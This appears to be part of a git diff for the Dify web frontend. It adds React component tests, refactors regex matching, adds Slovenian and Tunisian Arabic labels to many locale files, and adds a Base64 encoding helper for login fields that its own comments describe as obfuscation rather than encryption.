+      // Assert - Selector should be closed
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+
+      // Act - Click trigger option again
+      await user.click(triggerOption)
+
+      // Assert - Selector should open again
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid clicks on trigger option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+      await user.click(triggerOption)
+      await user.click(triggerOption)
+
+      // Assert - Should still be open (last click)
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle selecting different trigger types in sequence', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open and select schedule
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('select-schedule'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(1, BlockEnum.TriggerSchedule, undefined)
+
+      // Act - Open again and select webhook
+      await user.click(triggerOption)
+      await waitFor(() => {
+        expect(screen.getByTestId('select-webhook')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('select-webhook'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(2, BlockEnum.TriggerWebhook, undefined)
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(2)
+    })
+
+    it('should not crash with undefined callbacks', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({
+        onSelectUserInput: undefined,
+        onSelectTrigger: undefined,
+      })
+
+      // Act & Assert - Should not throw
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await expect(user.click(userInputOption)).resolves.not.toThrow()
+    })
+
+    it('should handle opening and closing selector without selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Close without selecting
+      await waitFor(() => {
+        expect(screen.getByTestId('close-selector')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('close-selector'))
+
+      // Assert - No selection callback should be called
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+
+      // Assert - Selector should be closed
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have both options visible and accessible', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeVisible()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeVisible()
+    })
+
+    it('should have descriptive text for both options', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument()
+    })
+
+    it('should have icons for visual identification', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('home-icon')).toBeInTheDocument()
+      expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument()
+    })
+
+    it('should maintain focus after interactions', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert - Component should still be in document
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should coordinate between both options correctly', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click user input
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+
+      // Act - Click trigger
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert - Trigger selector should open
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+
+      // Act - Select trigger
+      await user.click(screen.getByTestId('select-schedule'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+    })
+
+    it('should render all components in correct hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const grid = container.querySelector('.grid')
+      expect(grid).toBeInTheDocument()
+
+      // Both StartNodeOption components should be rendered
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+
+      // NodeSelector should be rendered
+      expect(screen.getByTestId('node-selector')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
index abc7d8dbc4..68b6e53064 100644
--- a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
+++ b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
@@ -84,7 +84,8 @@ const CodeEditor: FC<Props> = ({
 
   const getUniqVarName = (varName: string) => {
     if (varList.find(v => v.variable === varName)) {
-      const match = varName.match(/_(\d+)$/)
+      const varNameRegex = /_(\d+)$/
+      const match = varNameRegex.exec(varName)
 
       const index = (() => {
         if (match)
diff --git a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
index 3be1262e14..47d80c109f 100644
--- a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
@@ -25,7 +25,8 @@ const SupportVarInput: FC<Props> = ({
   const renderSafeContent = (inputValue: string) => {
     const parts = inputValue.split(/(\{\{[^}]+\}\}|\n)/g)
     return parts.map((part, index) => {
-      const variableMatch = part.match(/^\{\{([^}]+)\}\}$/)
+      const variableRegex = /^\{\{([^}]+)\}\}$/
+      const variableMatch = variableRegex.exec(part)
       if (variableMatch) {
         return (
           <VarHighlight
diff --git a/web/app/components/workflow/nodes/code/code-parser.ts b/web/app/components/workflow/nodes/code/code-parser.ts
index 216e13eaca..86447a06e5 100644
--- a/web/app/components/workflow/nodes/code/code-parser.ts
+++ b/web/app/components/workflow/nodes/code/code-parser.ts
@@ -10,7 +10,7 @@ export const extractFunctionParams = (code: string, language: CodeLanguage) => {
     [CodeLanguage.python3]: /def\s+main\s*\((.*?)\)/,
     [CodeLanguage.javascript]: /function\s+main\s*\((.*?)\)/,
   }
-  const match = code.match(patterns[language])
+  const match = patterns[language].exec(code)
   const params: string[] = []
 
   if (match?.[1]) {
diff --git a/web/app/components/workflow/nodes/http/components/curl-panel.tsx b/web/app/components/workflow/nodes/http/components/curl-panel.tsx
index a5339a1f39..4b9ee56f85 100644
--- a/web/app/components/workflow/nodes/http/components/curl-panel.tsx
+++ b/web/app/components/workflow/nodes/http/components/curl-panel.tsx
@@ -75,7 +75,8 @@ const parseCurl = (curlCommand: string): { node: HttpNodeType | null; error: str
 
         // To support command like `curl -F "file=@/path/to/file;type=application/zip"`
         // the `;type=application/zip` should translate to `Content-Type: application/zip`
-        const typeMatch = value.match(/^(.+?);type=(.+)$/)
+        const typeRegex = /^(.+?);type=(.+)$/
+        const typeMatch = typeRegex.exec(value)
         if (typeMatch) {
           const [, actualValue, mimeType] = typeMatch
           value = actualValue
diff --git a/web/app/components/workflow/nodes/trigger-webhook/types.ts b/web/app/components/workflow/nodes/trigger-webhook/types.ts
index d9632f20e1..90cfd40434 100644
--- a/web/app/components/workflow/nodes/trigger-webhook/types.ts
+++ b/web/app/components/workflow/nodes/trigger-webhook/types.ts
@@ -5,7 +5,8 @@ export type HttpMethod = 'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH' | 'HEAD'
 export type ArrayElementType = 'string' | 'number' | 'boolean' | 'object'
 
 export const getArrayElementType = (arrayType: `array[${ArrayElementType}]`): ArrayElementType => {
-  const match = arrayType.match(/^array\[(.+)\]$/)
+  const arrayRegex = /^array\[(.+)\]$/
+  const match = arrayRegex.exec(arrayType)
   return (match?.[1] as ArrayElementType) || 'string'
 }
 
diff --git a/web/app/components/workflow/utils/node.ts b/web/app/components/workflow/utils/node.ts
index 726908bff1..97ca7553e8 100644
--- a/web/app/components/workflow/utils/node.ts
+++ b/web/app/components/workflow/utils/node.ts
@@ -105,7 +105,7 @@ export function getLoopStartNode(loopId: string): Node {
 
 export const genNewNodeTitleFromOld = (oldTitle: string) => {
   const regex = /^(.+?)\s*\((\d+)\)\s*$/
-  const match = oldTitle.match(regex)
+  const match = regex.exec(oldTitle)
 
   if (match) {
     const title = match[1]
diff --git a/web/app/signin/check-code/page.tsx b/web/app/signin/check-code/page.tsx
index 4af2bdd1cc..36c3c67a58 100644
--- a/web/app/signin/check-code/page.tsx
+++ b/web/app/signin/check-code/page.tsx
@@ -12,6 +12,7 @@ import { emailLoginWithCode, sendEMailLoginCode } from '@/service/common'
 import I18NContext from '@/context/i18n'
 import { resolvePostLoginRedirect } from '../utils/post-login-redirect'
 import { trackEvent } from '@/app/components/base/amplitude'
+import { encryptVerificationCode } from '@/utils/encryption'
 
 export default function CheckCode() {
   const { t, i18n } = useTranslation()
@@ -43,7 +44,7 @@ export default function CheckCode() {
         return
       }
       setIsLoading(true)
-      const ret = await emailLoginWithCode({ email, code, token, language })
+      const ret = await emailLoginWithCode({ email, code: encryptVerificationCode(code), token, language })
       if (ret.result === 'success') {
         // Track login success event
         trackEvent('user_login_success', {
diff --git a/web/app/signin/components/mail-and-password-auth.tsx b/web/app/signin/components/mail-and-password-auth.tsx
index ba37087719..27c37e3e26 100644
--- a/web/app/signin/components/mail-and-password-auth.tsx
+++ b/web/app/signin/components/mail-and-password-auth.tsx
@@ -13,6 +13,7 @@ import { noop } from 'lodash-es'
 import { resolvePostLoginRedirect } from '../utils/post-login-redirect'
 import type { ResponseError } from '@/service/fetch'
 import { trackEvent } from '@/app/components/base/amplitude'
+import { encryptPassword } from '@/utils/encryption'
 
 type MailAndPasswordAuthProps = {
   isInvite: boolean
@@ -53,7 +54,7 @@ export default function MailAndPasswordAuth({ isInvite, isEmailSetup, allowRegis
       setIsLoading(true)
       const loginData: Record<string, any> = {
         email,
-        password,
+        password: encryptPassword(password),
         language: locale,
         remember_me: true,
       }
diff --git a/web/docker/entrypoint.sh b/web/docker/entrypoint.sh
index 565c906624..7e1aca680b 100755
--- a/web/docker/entrypoint.sh
+++ b/web/docker/entrypoint.sh
@@ -42,4 +42,5 @@ export NEXT_PUBLIC_LOOP_NODE_MAX_COUNT=${LOOP_NODE_MAX_COUNT}
 export NEXT_PUBLIC_MAX_PARALLEL_LIMIT=${MAX_PARALLEL_LIMIT}
 export NEXT_PUBLIC_MAX_ITERATIONS_NUM=${MAX_ITERATIONS_NUM}
 export NEXT_PUBLIC_MAX_TREE_DEPTH=${MAX_TREE_DEPTH}
+
 pm2 start /app/web/server.js --name dify-web --cwd /app/web -i ${PM2_INSTANCES} --no-daemon
diff --git a/web/i18n/ar-TN/common.ts b/web/i18n/ar-TN/common.ts
index 10788713a4..8437c0643f 100644
--- a/web/i18n/ar-TN/common.ts
+++ b/web/i18n/ar-TN/common.ts
@@ -113,6 +113,8 @@ const translation = {
       hiIN: 'الهندية',
       trTR: 'التركية',
       faIR: 'الفارسية',
+      slSI: 'السلوفينية',
+      arTN: 'العربية التونسية',
     },
   },
   unit: {
diff --git a/web/i18n/de-DE/common.ts b/web/i18n/de-DE/common.ts
index 337406c719..479348ef43 100644
--- a/web/i18n/de-DE/common.ts
+++ b/web/i18n/de-DE/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Türkisch',
       faIR: 'Persisch',
+      slSI: 'Slowenisch',
+      arTN: 'Tunesisches Arabisch',
     },
   },
   unit: {
diff --git a/web/i18n/en-US/common.ts b/web/i18n/en-US/common.ts
index 11cc866fde..d78520cf1f 100644
--- a/web/i18n/en-US/common.ts
+++ b/web/i18n/en-US/common.ts
@@ -113,6 +113,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Türkçe',
       faIR: 'Farsi',
+      slSI: 'Slovenian',
+      arTN: 'Tunisian Arabic',
     },
   },
   unit: {
diff --git a/web/i18n/es-ES/common.ts b/web/i18n/es-ES/common.ts
index 1972183946..38d4402fd2 100644
--- a/web/i18n/es-ES/common.ts
+++ b/web/i18n/es-ES/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persa',
+      slSI: 'Esloveno',
+      arTN: 'Árabe tunecino',
     },
   },
   unit: {
diff --git a/web/i18n/fa-IR/common.ts b/web/i18n/fa-IR/common.ts
index 40c1a57d24..62a2e2cec8 100644
--- a/web/i18n/fa-IR/common.ts
+++ b/web/i18n/fa-IR/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'هندی',
       trTR: 'ترکی',
       faIR: 'فارسی',
+      slSI: 'اسلوونیایی',
+      arTN: 'عربی تونسی',
     },
   },
   unit: {
diff --git a/web/i18n/fr-FR/common.ts b/web/i18n/fr-FR/common.ts
index 525f3a28c0..da72b0497c 100644
--- a/web/i18n/fr-FR/common.ts
+++ b/web/i18n/fr-FR/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turc',
       faIR: 'Persan',
+      slSI: 'Slovène',
+      arTN: 'Arabe tunisien',
     },
   },
   unit: {
diff --git a/web/i18n/hi-IN/common.ts b/web/i18n/hi-IN/common.ts
index c6151f5988..fa25074b9c 100644
--- a/web/i18n/hi-IN/common.ts
+++ b/web/i18n/hi-IN/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'हिन्दी',
       trTR: 'तुर्की',
       faIR: 'फ़ारसी',
+      slSI: 'स्लोवेनियाई',
+      arTN: 'ट्यूनीशियाई अरबी',
     },
   },
   unit: {
diff --git a/web/i18n/id-ID/common.ts b/web/i18n/id-ID/common.ts
index cac1696768..0c70b0341e 100644
--- a/web/i18n/id-ID/common.ts
+++ b/web/i18n/id-ID/common.ts
@@ -103,6 +103,8 @@ const translation = {
       viVN: 'Vietnam',
       ukUA: 'Ukraina',
       faIR: 'Farsi',
+      slSI: 'Bahasa Slovenia',
+      arTN: 'Bahasa Arab Tunisia',
       itIT: 'Italia',
       zhHant: 'Mandarin Tradisional',
       thTH: 'Thai',
diff --git a/web/i18n/it-IT/common.ts b/web/i18n/it-IT/common.ts
index d8eb7935bf..d5793bb902 100644
--- a/web/i18n/it-IT/common.ts
+++ b/web/i18n/it-IT/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persiano',
+      slSI: 'Sloveno',
+      arTN: 'Arabo tunisino',
     },
   },
   unit: {
diff --git a/web/i18n/ja-JP/common.ts b/web/i18n/ja-JP/common.ts
index 2f7bb13fb5..d4647fbc12 100644
--- a/web/i18n/ja-JP/common.ts
+++ b/web/i18n/ja-JP/common.ts
@@ -109,6 +109,8 @@ const translation = {
       hiIN: 'ヒンディー語',
       trTR: 'トルコ語',
       faIR: 'ペルシア語',
+      slSI: 'スロベニア語',
+      arTN: 'チュニジア・アラビア語',
     },
   },
   unit: {
diff --git a/web/i18n/ko-KR/common.ts b/web/i18n/ko-KR/common.ts
index 99ac7a2d70..805b9f9840 100644
--- a/web/i18n/ko-KR/common.ts
+++ b/web/i18n/ko-KR/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: '힌디어',
       trTR: '터키어',
       faIR: '페르시아어',
+      slSI: '슬로베니아어',
+      arTN: '튀니지 아랍어',
     },
   },
   unit: {
diff --git a/web/i18n/pl-PL/common.ts b/web/i18n/pl-PL/common.ts
index 938208da34..2ecf18c7e6 100644
--- a/web/i18n/pl-PL/common.ts
+++ b/web/i18n/pl-PL/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turecki',
       faIR: 'Perski',
+      slSI: 'Słoweński',
+      arTN: 'Arabski tunezyjski',
     },
   },
   unit: {
diff --git a/web/i18n/pt-BR/common.ts b/web/i18n/pt-BR/common.ts
index 1a5c531535..d0838b4f09 100644
--- a/web/i18n/pt-BR/common.ts
+++ b/web/i18n/pt-BR/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persa',
+      slSI: 'Esloveno',
+      arTN: 'Árabe Tunisiano',
     },
   },
   unit: {
diff --git a/web/i18n/ro-RO/common.ts b/web/i18n/ro-RO/common.ts
index 4a5004ae2c..8b8ab9ac26 100644
--- a/web/i18n/ro-RO/common.ts
+++ b/web/i18n/ro-RO/common.ts
@@ -98,6 +98,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turcă',
       faIR: 'Persană',
+      slSI: 'Slovenă',
+      arTN: 'Arabă tunisiană',
       plPL: 'Poloneză',
     },
   },
diff --git a/web/i18n/ru-RU/common.ts b/web/i18n/ru-RU/common.ts
index 45ad5150e2..afc9368e9e 100644
--- a/web/i18n/ru-RU/common.ts
+++ b/web/i18n/ru-RU/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'Хинди',
       trTR: 'Турецкий',
       faIR: 'Персидский',
+      slSI: 'Словенский',
+      arTN: 'Тунисский арабский',
     },
   },
   unit: {
diff --git a/web/i18n/sl-SI/common.ts b/web/i18n/sl-SI/common.ts
index ce898fb085..b024ace3be 100644
--- a/web/i18n/sl-SI/common.ts
+++ b/web/i18n/sl-SI/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'Hindujščina',
       trTR: 'Turščina',
       faIR: 'Farsi',
+      slSI: 'Slovenščina',
+      arTN: 'Tunizijska arabščina',
     },
   },
   unit: {
diff --git a/web/i18n/th-TH/common.ts b/web/i18n/th-TH/common.ts
index 9e67c3559f..9c325e3781 100644
--- a/web/i18n/th-TH/common.ts
+++ b/web/i18n/th-TH/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'ฮินดี',
       trTR: 'ตุรกี',
       faIR: 'ภาษาเปอร์เซีย',
+      slSI: 'ภาษาสโลเวเนีย',
+      arTN: 'ภาษาอาหรับตูนิเซีย',
     },
   },
   unit: {
diff --git a/web/i18n/tr-TR/common.ts b/web/i18n/tr-TR/common.ts
index f9d55265bf..8b0a7cba69 100644
--- a/web/i18n/tr-TR/common.ts
+++ b/web/i18n/tr-TR/common.ts
@@ -103,6 +103,8 @@ const translation = {
       hiIN: 'Hintçe',
       trTR: 'Türkçe',
       faIR: 'Farsça',
+      slSI: 'Slovence',
+      arTN: 'Tunus Arapçası',
     },
   },
   unit: {
diff --git a/web/i18n/uk-UA/common.ts b/web/i18n/uk-UA/common.ts
index be7186fca8..bd0f55c2f5 100644
--- a/web/i18n/uk-UA/common.ts
+++ b/web/i18n/uk-UA/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Хінді',
       trTR: 'Турецька',
       faIR: 'Перська',
+      slSI: 'Словенська',
+      arTN: 'Туніська арабська',
     },
   },
   unit: {
diff --git a/web/i18n/vi-VN/common.ts b/web/i18n/vi-VN/common.ts
index 2d30d3240e..8b1b69163e 100644
--- a/web/i18n/vi-VN/common.ts
+++ b/web/i18n/vi-VN/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: 'Tiếng Hindi',
       trTR: 'Tiếng Thổ Nhĩ Kỳ',
       faIR: 'Tiếng Ba Tư',
+      slSI: 'Tiếng Slovenia',
+      arTN: 'Tiếng Ả Rập Tunisia',
     },
   },
   unit: {
diff --git a/web/i18n/zh-Hans/common.ts b/web/i18n/zh-Hans/common.ts
index 7bb1bff826..8e7103564f 100644
--- a/web/i18n/zh-Hans/common.ts
+++ b/web/i18n/zh-Hans/common.ts
@@ -113,6 +113,8 @@ const translation = {
       hiIN: '印地语',
       trTR: '土耳其语',
       faIR: '波斯语',
+      slSI: '斯洛文尼亚语',
+      arTN: '突尼斯阿拉伯语',
     },
   },
   unit: {
diff --git a/web/i18n/zh-Hant/common.ts b/web/i18n/zh-Hant/common.ts
index 1b1d222845..1a72a083d8 100644
--- a/web/i18n/zh-Hant/common.ts
+++ b/web/i18n/zh-Hant/common.ts
@@ -99,6 +99,8 @@ const translation = {
       hiIN: '印地語',
       trTR: '土耳其語',
       faIR: '波斯語',
+      slSI: '斯洛維尼亞語',
+      arTN: '突尼西亞阿拉伯語',
     },
   },
   unit: {
diff --git a/web/package.json b/web/package.json
index a3a4391d1e..961288b495 100644
--- a/web/package.json
+++ b/web/package.json
@@ -2,7 +2,7 @@
   "name": "dify-web",
   "version": "1.11.1",
   "private": true,
-  "packageManager": "pnpm@10.25.0+sha512.5e82639027af37cf832061bcc6d639c219634488e0f2baebe785028a793de7b525ffcd3f7ff574f5e9860654e098fe852ba8ac5dd5cefe1767d23a020a92f501",
+  "packageManager": "pnpm@10.26.0+sha512.3b3f6c725ebe712506c0ab1ad4133cf86b1f4b687effce62a9b38b4d72e3954242e643190fc51fa1642949c735f403debd44f5cb0edd657abe63a8b6a7e1e402",
   "engines": {
     "node": ">=v22.11.0"
   },
diff --git a/web/service/datasets.ts b/web/service/datasets.ts
index 624da433f8..8791a61b7c 100644
--- a/web/service/datasets.ts
+++ b/web/service/datasets.ts
@@ -185,8 +185,8 @@ export const fetchFileIndexingEstimate = (body: IndexingEstimateParams): Promise
   return post<FileIndexingEstimateResponse>('/datasets/indexing-estimate', { body })
 }
 
-export const fetchNotionPagePreview = ({ workspaceID, pageID, pageType, credentialID }: { workspaceID: string; pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => {
-  return get<{ content: string }>(`notion/workspaces/${workspaceID}/pages/${pageID}/${pageType}/preview`, {
+export const fetchNotionPagePreview = ({ pageID, pageType, credentialID }: { pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => {
+  return get<{ content: string }>(`notion/pages/${pageID}/${pageType}/preview`, {
     params: {
       credential_id: credentialID,
     },
diff --git a/web/testing/testing.md b/web/testing/testing.md
index a08a615e54..46c9d84b4d 100644
--- a/web/testing/testing.md
+++ b/web/testing/testing.md
@@ -326,12 +326,19 @@ describe('ComponentName', () => {
 
 ### General
 
-1. **i18n**: Always return key
+1. **i18n**: Uses shared mock at `web/__mocks__/react-i18next.ts` (auto-loaded by Jest)
+
+   The shared mock returns translation keys as-is. For custom translations, override:
 
    ```typescript
    jest.mock('react-i18next', () => ({
      useTranslation: () => ({
-       t: (key: string) => key,
+       t: (key: string) => {
+         const translations: Record<string, string> = {
+           'my.custom.key': 'Custom translation',
+         }
+         return translations[key] || key
+       },
      }),
    }))
    ```
diff --git a/web/utils/encryption.ts b/web/utils/encryption.ts
new file mode 100644
index 0000000000..f96d8d02ac
--- /dev/null
+++ b/web/utils/encryption.ts
@@ -0,0 +1,46 @@
+/**
+ * Field Encoding Utilities
+ * Provides Base64 encoding for sensitive fields (password, verification code)
+ * during transmission from frontend to backend.
+ *
+ * Note: This uses Base64 encoding for obfuscation, not cryptographic encryption.
+ * Real security relies on HTTPS for transport layer encryption.
+ */
+
+/**
+ * Encode sensitive field using Base64
+ * @param plaintext - The plain text to encode
+ * @returns Base64 encoded text
+ */
+export function encryptField(plaintext: string): string {
+  try {
+        // Base64 encode the plaintext
+        // btoa works with ASCII, so we need to handle UTF-8 properly
+    const utf8Bytes = new TextEncoder().encode(plaintext)
+    const base64 = btoa(String.fromCharCode(...utf8Bytes))
+    return base64
+  }
+  catch (error) {
+    console.error('Field encoding failed:', error)
+        // If encoding fails, throw error to prevent sending plaintext
+    throw new Error('Encoding failed. Please check your input.')
+  }
+}
+
+/**
+ * Encrypt password field for login
+ * @param password - Plain password
+ * @returns Encrypted password or original if encryption disabled
+ */
+export function encryptPassword(password: string): string {
+  return encryptField(password)
+}
+
+/**
+ * Encrypt verification code for email code login
+ * @param code - Plain verification code
+ * @returns Encrypted code or original if encryption disabled
+ */
+export function encryptVerificationCode(code: string): string {
+  return encryptField(code)
+}